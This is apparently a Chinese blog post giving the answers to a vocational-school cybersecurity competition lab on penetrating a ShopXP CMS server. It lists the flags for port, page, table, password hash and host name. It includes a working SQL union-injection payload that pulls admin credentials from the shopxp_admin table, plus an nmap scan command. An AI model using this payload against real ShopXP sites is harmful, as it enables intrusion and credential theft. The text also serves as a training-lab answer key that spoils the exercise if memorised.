B-1：CMS网站渗透

最新推荐文章于 2024-12-23 15:48:10 发布

原创最新推荐文章于 2024-12-23 15:48:10 发布 · 797 阅读

7 ·

CC 4.0 BY-SA版权

文章标签：

#服务器 #数据库 #前端

2022年宁波市中职组“网络安全”赛项专栏收录该内容

10 篇文章

订阅专栏

该文章详细描述了针对B-1CMS服务器的一系列渗透测试步骤，包括发现网站运行在8089端口，网站名为SHOPXP.cn，存在名为/pinglun.asp的SQL注入漏洞，数据库表名为shopxp_admin，管理员加密密码为7a57a5a743894a0e，以及服务器本地名称为workgrou-sypyia。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

B-1：CMS网站渗透
任务环境说明：
	服务器场景：Server2206（关闭链接）
	服务器场景操作系统：未知
1.使用渗透机对服务器信息收集，并将服务器中网站服务端口号作为flag提交；
2.使用渗透机对服务器信息收集，将网站的名称作为flag提交；
3.使用渗透机对服务器渗透，将可渗透页面的名称作为flag提交； 
4.使用渗透机对服务器渗透，并将网站中所用的数据库的表名作为flag提交；
5.使用渗透机对服务器渗透，将网站管理员的加密密码作为flag提交；
6.使用渗透机对服务器渗透，将服务器的本地名称作为flag提交。

1.使用渗透机对服务器信息收集，并将服务器中网站服务端口号作为flag提交；

flag{8089}

2.使用渗透机对服务器信息收集，将网站的名称作为flag提交；

flag{SHOPXP.cn}

3.使用渗透机对服务器渗透，将可渗透页面的名称作为flag提交；

https://blog.csdn.net/u013102998/article/details/17373329
sql注入漏洞存在于/admin/pinglun.asp文件

flag{pinglun.asp}

4.使用渗透机对服务器渗透，并将网站中所用的数据库的表名作为flag提交；

?id=1 union select 1,2,admin,4,5,password,7,8,9,10,11 from shopxp_admin

flag{shopxp_admin}

5.使用渗透机对服务器渗透，将网站管理员的加密密码作为flag提交；

flag{7a57a5a743894a0e}

6.使用渗透机对服务器渗透，将服务器的本地名称作为flag提交。

nmap -O -A  192.168.14.131

flag{workgrou-sypyia}